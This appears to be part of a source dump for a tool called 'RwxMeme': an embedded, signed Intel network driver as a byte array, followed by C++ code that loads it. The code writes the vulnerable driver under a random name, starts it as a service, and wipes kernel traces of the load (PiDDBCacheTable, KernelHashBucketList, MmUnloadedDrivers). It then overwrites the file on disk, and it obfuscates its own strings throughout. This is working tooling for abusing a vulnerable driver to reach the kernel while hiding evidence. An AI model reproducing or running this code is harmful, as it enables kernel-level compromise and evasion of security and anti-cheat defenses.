0xf6, 0x36, 0x47, 0x78, 0xc0, 0x27, 0x2a, 0x15, 0xc7, 0x68, 0xd6, 0xf4, 0xc5, 0xfc, 0x4f, 0x4e, 0xc8, 0x67, 0x3f, 0x10, 0x2d, 0x40, 0x9f, 0xf1, 0x1e, 0xc9, 0x61, 0x48, 0xe7, 0xa7, 0x03, 0xfc, 0x31, 0x73, 0x0c, 0xf0, 0x46, 0x88, 0xfe, 0x56, 0xda, 0x49, 0x29, 0x95, 0xef, 0x09, 0xda, 0xa3, 0xe5, 0xbe, 0xef, 0x60, 0xec, 0xd9, 0x54, 0xa0, 0x59, 0x9c, 0x28, 0xbd, 0x54, 0xef, 0x66, 0x15, 0x7f, 0x87, 0x4c, 0x84, 0xdb, 0xa6, 0x0e, 0x95, 0x67, 0x2e, 0x51, 0x7b, 0x34, 0x39, 0xb6, 0x41, 0xc2, 0x8c, 0x84, 0x68, 0x26, 0xdc, 0x24, 0x02, 0x09, 0xe7, 0x81, 0x8e, 0x0a, 0x97, 0x2d, 0xef, 0xee, 0xa7, 0xb9, 0x98, 0xa6, 0x0f, 0x81, 0x8d, 0xc7, 0x10, 0xb5, 0xe1, 0xed, 0x98, 0x2f, 0x48, 0x6f, 0x53, 0x85, 0x49, 0x64, 0x78, 0x9b, 0xec, 0x5d, 0xac, 0x97, 0x0b, 0x55, 0x26, 0xc3, 0xef, 0xba, 0x8d, 0xc8, 0xd1, 0xa5, 0x2f, 0x5a, 0x7f, 0x93, 0x6b, 0x61, 0x1a, 0x33, 0x9b, 0x18, 0xb8, 0xa2, 0x62, 0x10, 0xde, 0x24, 0xea, 0x76, 0xe1, 0x2f, 0x43, 0xeb, 0xec, 0xdd, 0x7c, 0x12, 0x34, 0x24, 0x89, 0xda, 0x28, 0x55, 0xae, 0xe5, 0x75, 0x4e, 0x31, 0x2b, 0x67, 0x63, 0xb6, 0xa8, 0xd7, 0xab, 0x73, 0x0a, 0x03, 0xce, 0xc5, 0xea, 0x59, 0x3f, 0xc7, 0xeb, 0x2a, 0x45, 0xae, 0xa8, 0x62, 0x5b, 0x2f, 0x00, 0x99, 0x39, 0xab, 0xb4, 0x5f, 0x73, 0xc3, 0x08, 0xec, 0x80, 0x11, 0x8f, 0x47, 0x0e, 0x8f, 0x2a, 0x13, 0x43, 0xe1, 0x91, 0x06, 0x62, 0x55, 0xbb, 0xff, 0xba, 0x3d, 0xa9, 0xa9, 0x3d, 0x26, 0x0f, 0xae, 0xca, 0x7d, 0x62, 0x8b, 0x15, 0x55, 0x89, 0xd6, 0x94, 0x34, 0x4d, 0xd6, 0x65, 0x30, 0x82, 0x05, 0x0b, 0x30, 0x82, 0x03, 0xf3, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x05, 0x82, 0x58, 0x57, 0x16, 0x70, 0xab, 0x2b, 0x1b, 0xac, 0x50, 0x67, 0x9c, 0xec, 0x49, 0xa1, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0xb6, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x1f, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x31, 0x3b, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x20, 0x6f, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x30, 0x39, 0x31, 0x30, 0x30, 0x2e, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6f, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x32, 0x30, 0x30, 0x39, 0x2d, 0x32, 0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x30, 0x39, 0x30, 0x35, 0x32, 0x36, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x31, 0x32, 0x30, 0x35, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5a, 0x30, 0x81, 0xc8, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x06, 0x4f, 0x72, 0x65, 0x67, 0x6f, 0x6e, 0x31, 0x12, 0x30, 0x10, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x09, 0x48, 0x69, 0x6c, 0x6c, 0x73, 0x62, 0x6f, 0x72, 0x6f, 0x31, 0x1a, 0x30, 0x18, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x14, 0x11, 0x49, 0x6e, 0x74, 0x65, 0x6c, 0x20, 0x43, 0x6f, 0x72, 0x70, 0x6f, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x31, 0x3e, 0x30, 0x3c, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x35, 0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x20, 0x49, 0x44, 0x20, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x2d, 0x20, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x20, 0x53, 0x6f, 0x66, 0x74, 0x77, 0x61, 0x72, 0x65, 0x20, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x76, 0x32, 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x14, 0x13, 0x4c, 0x41, 0x4e, 0x20, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x44, 0x69, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x31, 0x1a, 0x30, 0x18, 0x06, 0x03, 0x55, 0x04, 0x03, 0x14, 0x11, 0x49, 0x6e, 0x74, 0x65, 0x6c, 0x20, 0x43, 0x6f, 0x72, 0x70, 0x6f, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x30, 0x81, 0x9f, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x81, 0x8d, 0x00, 0x30, 0x81, 0x89, 0x02, 0x81, 0x81, 0x00, 0xcd, 0x71, 0x9f, 0x6e, 0xe2, 0x35, 0xaa, 0xaf, 0x32, 0x20, 0xd8, 0xd3, 0x94, 0xe8, 0x7d, 0x47, 0xdc, 0x46, 0x25, 0xf3, 0xd4, 0x0e, 0x76, 0x14, 0xb1, 0x88, 0x61, 0x4d, 0xe5, 0x6b, 0x47, 0x5d, 0xf4, 0x01, 0x23, 0x15, 0x39, 0x8e, 0x33, 0xa8, 0x51, 0xfe, 0x3c, 0x4d, 0x75, 0x6b, 0x04, 0xcb, 0x15, 0x17, 0x7d, 0x24, 0xfa, 0x23, 0xdd, 0x96, 0x42, 0xe4, 0x3f, 0x26, 0x8d, 0xee, 0xfb, 0x68, 0x35, 0xde, 0x34, 0x45, 0xd8, 0xfb, 0xb2, 0x7c, 0xed, 0xb6, 0xe2, 0xc8, 0xbe, 0x7d, 0xd6, 0xde, 0x1f, 0xdd, 0x24, 0xbd, 0x6a, 0xf6, 0x92, 0xc1, 0x64, 0xad, 0x25, 0xef, 0x56, 0x81, 0x5c, 0x6a, 0x4c, 0x78, 0x4a, 0x42, 0x90, 0x66, 0x35, 0x9f, 0xac, 0x23, 0x2e, 0x17, 0x79, 0x6e, 0x53, 0x97, 0xde, 0x08, 0xdc, 0x8a, 0xce, 0xc5, 0x3a, 0x37, 0x07, 0xd4, 0x11, 0x71, 0x63, 0x7d, 0x03, 0xa7, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x82, 0x01, 0x83, 0x30, 0x82, 0x01, 0x7f, 0x30, 0x09, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x44, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x3d, 0x30, 0x3b, 0x30, 0x39, 0xa0, 0x37, 0xa0, 0x35, 0x86, 0x33, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63, 0x73, 0x63, 0x33, 0x2d, 0x32, 0x30, 0x30, 0x39, 0x2d, 0x32, 0x2d, 0x63, 0x72, 0x6c, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x43, 0x53, 0x43, 0x33, 0x2d, 0x32, 0x30, 0x30, 0x39, 0x2d, 0x32, 0x2e, 0x63, 0x72, 0x6c, 0x30, 0x44, 0x06, 0x03, 0x55, 0x1d, 0x20, 0x04, 0x3d, 0x30, 0x3b, 0x30, 0x39, 0x06, 0x0b, 0x60, 0x86, 0x48, 0x01, 0x86, 0xf8, 0x45, 0x01, 0x07, 0x17, 0x03, 0x30, 0x2a, 0x30, 0x28, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1c, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x72, 0x70, 0x61, 0x30, 0x13, 0x06, 0x03, 0x55, 0x1d, 0x25, 0x04, 0x0c, 0x30, 0x0a, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x75, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x69, 0x30, 0x67, 0x30, 0x24, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x30, 0x3f, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x33, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63, 0x73, 0x63, 0x33, 0x2d, 0x32, 0x30, 0x30, 0x39, 0x2d, 0x32, 0x2d, 0x61, 0x69, 0x61, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x43, 0x53, 0x43, 0x33, 0x2d, 0x32, 0x30, 0x30, 0x39, 0x2d, 0x32, 0x2e, 0x63, 0x65, 0x72, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x97, 0xd0, 0x6b, 0xa8, 0x26, 0x70, 0xc8, 0xa1, 0x3f, 0x94, 0x1f, 0x08, 0x2d, 0xc4, 0x35, 0x9b, 0xa4, 0xa1, 0x1e, 0xf2, 0x30, 0x11, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x86, 0xf8, 0x42, 0x01, 0x01, 0x04, 0x04, 0x03, 0x02, 0x04, 0x10, 0x30, 0x16, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x1b, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0x00, 0x01, 0x01, 0xff, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x3d, 0x01, 0xe2, 0xc5, 0xa5, 0xf6, 0x20, 0x9e, 0x2b, 0x1c, 0xbf, 0x42, 0x2f, 0x38, 0xc1, 0x96, 0x77, 0xd0, 0xc3, 0xd1, 0x64, 0xd2, 0x9b, 0xcf, 0x4f, 0xda, 0x7a, 0xd1, 0x74, 0xd1, 0xbb, 0xd5, 0x75, 0x79, 0x51, 0x10, 0xe1, 0x3d, 0x1a, 0xf2, 0xfa, 0xd8, 0xfc, 0xf7, 0xa6, 0x83, 0x37, 0x4a, 0x11, 0x3b, 0x00, 0xb3, 0xb7, 0x96, 0x77, 0xf0, 0x45, 0x94, 0xc0, 0x35, 0x19, 0x4e, 0x9a, 0xb3, 0xd0, 0x16, 0x25, 0x91, 0x24, 0x79, 0x3b, 0xae, 0x17, 0x50, 0x08, 0x20, 0x11, 0x44, 0x7c, 0x5f, 0x3e, 0x5e, 0x46, 0xd4, 0xc8, 0x42, 0x3a, 0xff, 0xad, 0xd0, 0x1a, 0x84, 0xb4, 0x0b, 0xbb, 0x61, 0x43, 0xb2, 0x03, 0x0b, 0x67, 0x41, 0xf1, 0x7d, 0x9d, 0x9b, 0x31, 0x12, 0x48, 0x57, 0x58, 0x7c, 0x24, 0xf1, 0xb9, 0x87, 0x7f, 0x90, 0x1b, 0x86, 0x1a, 0x7e, 0x48, 0x7b, 0xb0, 0xba, 0x24, 0x95, 0x53, 0xfc, 0x7d, 0xec, 0xd2, 0x52, 0xdd, 0x7c, 0x15, 0xa2, 0xeb, 0xdd, 0xde, 0xc2, 0x5e, 0x84, 0xd4, 0xdc, 0x9e, 0x5d, 0x6b, 0xdf, 0x06, 0xcb, 0x35, 0xc9, 0x7b, 0x9a, 0x14, 0xc0, 0x49, 0x45, 0x76, 0x54, 0x31, 0xfb, 0x8b, 0xe9, 0x0e, 0x0b, 0x00, 0x7d, 0xaa, 0x66, 0x79, 0x72, 0x40, 0x99, 0x73, 0xdb, 0x8f, 0x48, 0x4b, 0x22, 0x83, 0x49, 0x2c, 0x62, 0xa7, 0x92, 0x32, 0x02, 0x79, 0x74, 0x28, 0x05, 0x4a, 0x80, 0x77, 0xcb, 0xab, 0xc1, 0xb1, 0xad, 0x48, 0x33, 0x4a, 0x75, 0x9a, 0x32, 0xc6, 0xc2, 0x65, 0x1b, 0x9e, 0xd1, 0x92, 0xf6, 0x7d, 0xd6, 0xd1, 0x47, 0x9d, 0xa1, 0xea, 0x6f, 0x0a, 0x3b, 0x24, 0xa0, 0x2c, 0x01, 0xb4, 0xac, 0x85, 0xd2, 0x93, 0xdc, 0x40, 0x15, 0x0f, 0x83, 0x18, 0x70, 0xb8, 0xaa, 0xa5, 0x6d, 0x72, 0x7e, 0xec, 0x6f, 0x55, 0xa0, 0xff, 0x68, 0x40, 0x2a, 0x31, 0x82, 0x03, 0xa6, 0x30, 0x82, 0x03, 0xa2, 0x02, 0x01, 0x01, 0x30, 0x81, 0xcb, 0x30, 0x81, 0xb6, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x1f, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x31, 0x3b, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x20, 0x6f, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x30, 0x39, 0x31, 0x30, 0x30, 0x2e, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6f, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69, 0x6e, 0x67, 0x20, 0x32, 0x30, 0x30, 0x39, 0x2d, 0x32, 0x20, 0x43, 0x41, 0x02, 0x10, 0x05, 0x82, 0x58, 0x57, 0x16, 0x70, 0xab, 0x2b, 0x1b, 0xac, 0x50, 0x67, 0x9c, 0xec, 0x49, 0xa1, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a, 0x05, 0x00, 0xa0, 0x81, 0xae, 0x30, 0x19, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x03, 0x31, 0x0c, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0x30, 0x1c, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0b, 0x31, 0x0e, 0x30, 0x0c, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0xd7, 0x7b, 0x43, 0x72, 0x68, 0xb2, 0x2f, 0x91, 0xf6, 0x6a, 0xd8, 0x84, 0xe5, 0x9b, 0xff, 0xbf, 0x02, 0x30, 0x9d, 0x34, 0x30, 0x4e, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0c, 0x31, 0x40, 0x30, 0x3e, 0xa0, 0x3c, 0x80, 0x3a, 0x00, 0x2e, 0x00, 0x2e, 0x00, 0x5c, 0x00, 0x64, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x36, 0x00, 0x34, 0x00, 0x65, 0x00, 0x5c, 0x00, 0x69, 0x00, 0x71, 0x00, 0x76, 0x00, 0x77, 0x00, 0x36, 0x00, 0x34, 0x00, 0x65, 0x00, 0x2e, 0x00, 0x53, 0x00, 0x59, 0x00, 0x53, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x81, 0x80, 0x8c, 0x63, 0x2b, 0x7d, 0xd3, 0xdb, 0xf9, 0x28, 0xf2, 0xee, 0xeb, 0xd7, 0x18, 0x64, 0x7d, 0xc4, 0x5b, 0xec, 0xff, 0x58, 0xa0, 0xa1, 0x8d, 0xdb, 0x6d, 0x45, 0x11, 0xcb, 0xf9, 0x8b, 0xfa, 0x68, 0x27, 0x95, 0x3c, 0xbe, 0x4c, 0x0f, 0x20, 0xee, 0xf0, 0x3b, 0x02, 0x1c, 0xac, 0x2a, 0xe3, 0x84, 0xe8, 0x58, 0xf9, 0x47, 0xa4, 0xaa, 0x86, 0xd8, 0x0c, 0x6c, 0x21, 0x7d, 0x3a, 0xb7, 0xc8, 0xa1, 0x68, 0xbf, 0x6f, 0x2f, 0xcf, 0xd1, 0x5b, 0x67, 0xb6, 0x0d, 0xc4, 0xba, 0x8e, 0x50, 0x3e, 0x3b, 0x30, 0xfb, 0x1e, 0x0a, 0x56, 0xc4, 0xa7, 0x05, 0x34, 0xe9, 0x09, 0x6f, 0xce, 0xcc, 0xc9, 0xdd, 0xf6, 0xee, 0x6b, 0x36, 0x84, 0x0f, 0x64, 0x62, 0x47, 0xd3, 0x85, 0x6f, 0x0f, 0xdc, 0x9b, 0x41, 0xc5, 0x91, 0xb3, 0x59, 0x6e, 0x3e, 0x01, 0x55, 0xfe, 0xf4, 0xf8, 0xcc, 0x29, 0x1c, 0x75, 0xba, 0xa1, 0x82, 0x01, 0x7f, 0x30, 0x82, 0x01, 0x7b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x06, 0x31, 0x82, 0x01, 0x6c, 0x30, 0x82, 0x01, 0x68, 0x02, 0x01, 0x01, 0x30, 0x67, 0x30, 0x53, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x2b, 0x30, 0x29, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x22, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x54, 0x69, 0x6d, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6d, 0x70, 0x69, 0x6e, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x02, 0x10, 0x38, 0x25, 0xd7, 0xfa, 0xf8, 0x61, 0xaf, 0x9e, 0xf4, 0x90, 0xe7, 0x26, 0xb5, 0xd6, 0x5a, 0xd5, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a, 0x05, 0x00, 0xa0, 0x5d, 0x30, 0x18, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x03, 0x31, 0x0b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01, 0x30, 0x1c, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x05, 0x31, 0x0f, 0x17, 0x0d, 0x31, 0x30, 0x30, 0x38, 0x32, 0x36, 0x31, 0x33, 0x34, 0x38, 0x35, 0x33, 0x5a, 0x30, 0x23, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0xe2, 0xc7, 0xf3, 0x2f, 0x8b, 0xc8, 0xc0, 0x35, 0xe4, 0xe3, 0xc5, 0x6c, 0x3d, 0x32, 0x95, 0x35, 0xd6, 0xf2, 0xc6, 0xb6, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x81, 0x80, 0xbd, 0xf0, 0x6d, 0x36, 0x1f, 0xaf, 0xa2, 0xaf, 0x44, 0x0f, 0x22, 0x89, 0x34, 0x31, 0x85, 0x8e, 0xb6, 0xb6, 0xd5, 0xd4, 0x0a, 0xf3, 0xa2, 0x2d, 0xab, 0x56, 0xb0, 0xcf, 0xee, 0x9b, 0x92, 0xac, 0x34, 0x2b, 0xa2, 0xdf, 0x39, 0xa2, 0x16, 0x55, 0xe9, 0x77, 0x1c, 0xc6, 0xa0, 0x68, 0x14, 0xf4, 0x62, 0xf8, 0x50, 0x23, 0xc1, 0x7d, 0xca, 0x06, 0x79, 0xdf, 0x94, 0xb1, 0xda, 0xc1, 0xbb, 0x9e, 0x92, 0x42, 0x74, 0x7c, 0x41, 0x2d, 0xa6, 0xc4, 0xe3, 0x6e, 0xc7, 0x93, 0x24, 0x68, 0x53, 0x21, 0xff, 0xa0, 0x2c, 0x49, 0xd8, 0xb4, 0x4d, 0x4a, 0xd7, 0x72, 0xc6, 0xb0, 0xff, 0x83, 0x3d, 0x85, 0x16, 0x4d, 0xe0, 0x7d, 0xb8, 0x10, 0x31, 0x3f, 0xac, 0x47, 0x4e, 0xdb, 0x82, 0x0a, 0xda, 0x1a, 0x39, 0x24, 0xf9, 0x83, 0x78, 0x78, 0x20, 0x33, 0xcb, 0xc1, 0xb0, 0xdc, 0xdf, 0x6a, 0xd0, 0xd3, 0x00, 0x00, 0x00, 0x00, 0x00 }; inline unsigned int length = 32936; } #endif ================================================ FILE: RwxMeme/RwxMeme/src/driver/intel_driver.cpp ================================================ #include "../general.h" ULONG64 intel_driver::ntoskrnlAddr = 0; char intel_driver::driver_name[100] = {}; uintptr_t PiDDBLockPtr; uintptr_t PiDDBCacheTablePtr; std::wstring intel_driver::GetDriverNameW() { ProtectMutate(); std::string t(intel_driver::driver_name); std::wstring name(t.begin(), t.end()); ProtectEnd(); return name; } std::wstring intel_driver::GetDriverPath() { ProtectMutate(); std::wstring temp = utils::GetFullTempPath(); if (temp.empty()) { return L""; } ProtectEnd(); return temp + L"\\" + GetDriverNameW(); } bool intel_driver::IsRunning() { ProtectMutate(); const HANDLE file_handle = CreateFileW(EW(L"\\\\.\\Nal"), FILE_ANY_ACCESS, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (file_handle != nullptr && file_handle != INVALID_HANDLE_VALUE) { CloseHandle(file_handle); return true; } ProtectEnd(); return false; } HANDLE intel_driver::Load() { ProtectMutate(); srand(static_cast(time(nullptr)) * GetCurrentThreadId()); if (intel_driver::IsRunning()) { console::Error(E("Device is already in use")); return INVALID_HANDLE_VALUE; } memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name)); const char* alphanum = E("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); int len = rand() % 20 + 10; for (int i = 0; i < len; ++i) intel_driver::driver_name[i] = alphanum[rand() % (53 - 1)]; // 53 = string length std::wstring driver_path = GetDriverPath(); if (driver_path.empty()) { console::Error(E("Failed to get temporary path")); return INVALID_HANDLE_VALUE; } _wremove(driver_path.c_str()); if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast(driver_resource::driverBuffer), sizeof(driver_resource::driverBuffer))) { console::Error(E("Failed to extract driver file")); return INVALID_HANDLE_VALUE; } if (!service::RegisterAndStart(driver_path)) { console::Error(E("Failed to register service")); _wremove(driver_path.c_str()); return INVALID_HANDLE_VALUE; } HANDLE result = CreateFileW(EW(L"\\\\.\\Nal"), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!result || result == INVALID_HANDLE_VALUE) { console::Error(E("Failed to get driver handle")); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } ntoskrnlAddr = utils::GetKernelModuleAddress(E("ntoskrnl.exe")); if (ntoskrnlAddr == 0) { console::Error(E("Failed to get kernel base")); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!intel_driver::ClearPiDDBCacheTable(result)) { console::Error(E("Failed to clear PiDDBCacheTable")); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!intel_driver::ClearKernelHashBucketList(result)) { console::Error(E("Failed to clear KernelHashBucketList")); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!intel_driver::ClearMmUnloadedDrivers(result)) { console::Error(E("Failed to clear MmUnloadedDrivers")); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } ProtectEnd(); return result; } bool intel_driver::Unload(HANDLE device_handle) { ProtectMutate(); if (device_handle && device_handle != INVALID_HANDLE_VALUE) CloseHandle(device_handle); if (!service::StopAndRemove(GetDriverNameW())) return false; std::wstring driver_path = GetDriverPath(); //Destroy disk information before unlink from disk to prevent any recover of the file std::ofstream file_ofstream(driver_path.c_str(), std::ios_base::out | std::ios_base::binary); int newFileLen = sizeof(driver_resource::driverBuffer) + ((long long)rand() % 2348767 + 